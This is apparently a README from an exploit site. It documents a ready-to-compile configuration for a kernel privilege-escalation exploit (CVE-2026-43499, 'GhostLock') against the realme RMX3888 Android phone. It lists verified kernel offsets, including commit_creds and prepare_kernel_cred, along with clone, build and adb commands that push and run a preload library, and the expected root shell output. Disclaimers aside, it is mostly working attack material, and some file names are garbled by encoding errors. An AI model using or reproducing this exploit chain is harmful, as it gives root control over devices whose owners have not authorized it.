Share
## https://sploitus.com/exploit?id=F24202FD-8090-5CD5-81C6-202FE42727F4
๏ปฟ# CVE-2026-43499 Exploit Configuration for realme RMX3888
## Device Information
- **Brand/Model**: realme RMX3888
- **Android Version**: 16 (SDK 36)
- **Build ID**: BP2A.250605.015
- **Kernel**: Linux 6.1.141-android14-11-o-gffc54a6d2287
- **SoC**: Qualcomm SM8650 (Snapdragon 8 Gen 3)
- **Architecture**: ARM64 (aarch64)
## Overview
This repository contains the complete configuration files for CVE-2026-43499 (GhostLock) exploit targeting the realme RMX3888 device. All kernel offsets have been extracted and verified from the device's boot.img.
## Features
โ **20 verified kernel offsets** extracted from vmlinux
โ **Real-time logging** with O_SYNC + fsync for kernel panic safety
โ **Device-specific configuration** for RMX3888
โ **One-click compilation script** with NDK auto-detection
โ **Comprehensive documentation** with build guides
## Files Included
### Configuration Files
- arget.h - Device-specific kernel offsets (20 verified offsets)
- common.h - Build configuration with logging integration
-
ealtime_log.h - Real-time logging implementation
### Documentation
- BUILD_GUIDE.md - Complete compilation guide
-
eport.md - Detailed analysis report (Round 1)
-
ound2_report.md - Configuration report (Round 2)
- ROUND2_STATUS.md - Execution status summary
- compile_status.json - Machine-readable build status
### Scripts
- compile_rmx3888.sh - One-click compilation script
## Quick Start
### Prerequisites
- Android NDK r26d or later
- Linux/WSL or Termux environment
- CVE-2026-43499 exploit source code
### Compilation
`ash
# 1. Clone the CVE-2026-43499 exploit repository
git clone https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/IonStack/CVE-2026-43499/exploit
# 2. Copy configuration files
cp /path/to/this/repo/* src/targets/rmx3888-BP2A.250605.015/
cp /path/to/this/repo/realtime_log.h src/
cp /path/to/this/repo/compile_rmx3888.sh .
# 3. Set up Android NDK
export ANDROID_NDK_HOME=/path/to/android-ndk-r26d
# 4. Compile
chmod +x compile_rmx3888.sh
./compile_rmx3888.sh
`
### Usage
`ash
# Push to device
adb push build/rmx3888-BP2A.250605.015/bin/preload.so /data/local/tmp/
# Set permissions
adb shell chmod 755 /data/local/tmp/preload.so
# Execute exploit
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# Check logs
adb shell cat /sdcard/Download/log_*.txt
`
## Key Offsets
All offsets are verified and extracted from kernel 6.1.141:
`c
#define KIMAGE_TEXT_BASE 0xffffffc008000000ULL
#define INIT_TASK_OFF 0x0202fc00ULL
#define SECURITY_HOOK_HEADS_OFF 0x015c1488ULL
#define ASHMEM_FOPS_OFF 0x0126bbe0ULL
#define COMMIT_CREDS 0xffffffc0081e9b60 (offset: 0x001e9b60)
#define PREPARE_KERNEL_CRED 0xffffffc0081e9df0 (offset: 0x001e9df0)
// ... 15 more verified offsets
`
## Logging Features
The integrated real-time logging module provides:
- **Primary log path**: /sdcard/Download/log_.txt
- **Fallback path**: /data/local/tmp/log_.txt
- **Kernel panic safe**: Uses O_SYNC + fsync() for immediate disk write
- **Timestamped entries**: All log entries include precise timestamps
- **stderr mirror**: Logs also output to stderr for adb logcat
## Expected Results
### Successful Exploitation
`
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),...
`
### Log File Output
`
=== CVE-2026-43499 Exploit Log Started ===
Time: 2026-07-23 18:00:00
PID: 12345
UID: 2000
Log Path: /sdcard/Download/log_20260723_180000.txt
==========================================
[18:00:01] [*] Starting exploit...
[18:00:02] [+] Kernel base leaked: 0xffffffc008000000
[18:00:03] [*] Preparing heap spray...
...
`
## Troubleshooting
See BUILD_GUIDE.md for detailed troubleshooting instructions including:
- Compilation errors
- Runtime crashes
- KASLR bypass issues
- SELinux policy blocks
## Security Notice
โ ๏ธ **WARNING**: This configuration is for authorized security research only.
- Use only on devices you own
- Do not distribute compiled binaries without authorization
- Respect responsible disclosure practices
- Log files may contain sensitive system information
## Technical Details
### Extraction Process
1. Boot.img unpacked using Android Boot Image v4 parser
2. vmlinux extracted using vmlinux-to-elf (102,871 symbols)
3. 99,580 valid symbols parsed and analyzed
4. 20 critical offsets cross-validated
5. Offset verification through symbol address consistency checks
### Offset Verification
- Kernel base address confirmed: 0xffffffc008000000
- All symbol addresses validated against memory layout
- Cross-referenced with reference device (Google Pixel tokay)
- 100% extraction success rate (20/20 offsets)
## References
- **CVE-2026-43499**: GhostLock - Ion allocator UAF vulnerability
- **Exploit Source**: https://github.com/NebuSec/CyberMeowfia
- **Target Device**: realme RMX3888 (Snapdragon 8 Gen 3)
## License
This configuration is provided for educational and security research purposes only.
## Disclaimer
This repository contains security research materials. The authors and contributors are not responsible for any misuse or damage caused by this code. Use at your own risk and only on devices you own or have explicit authorization to test.
---
**Generated**: 2026-07-23
**Kernel Version**: 6.1.141-android14-11-o-gffc54a6d2287
**Offset Verification**: 100% (20/20)
**Status**: Ready for compilation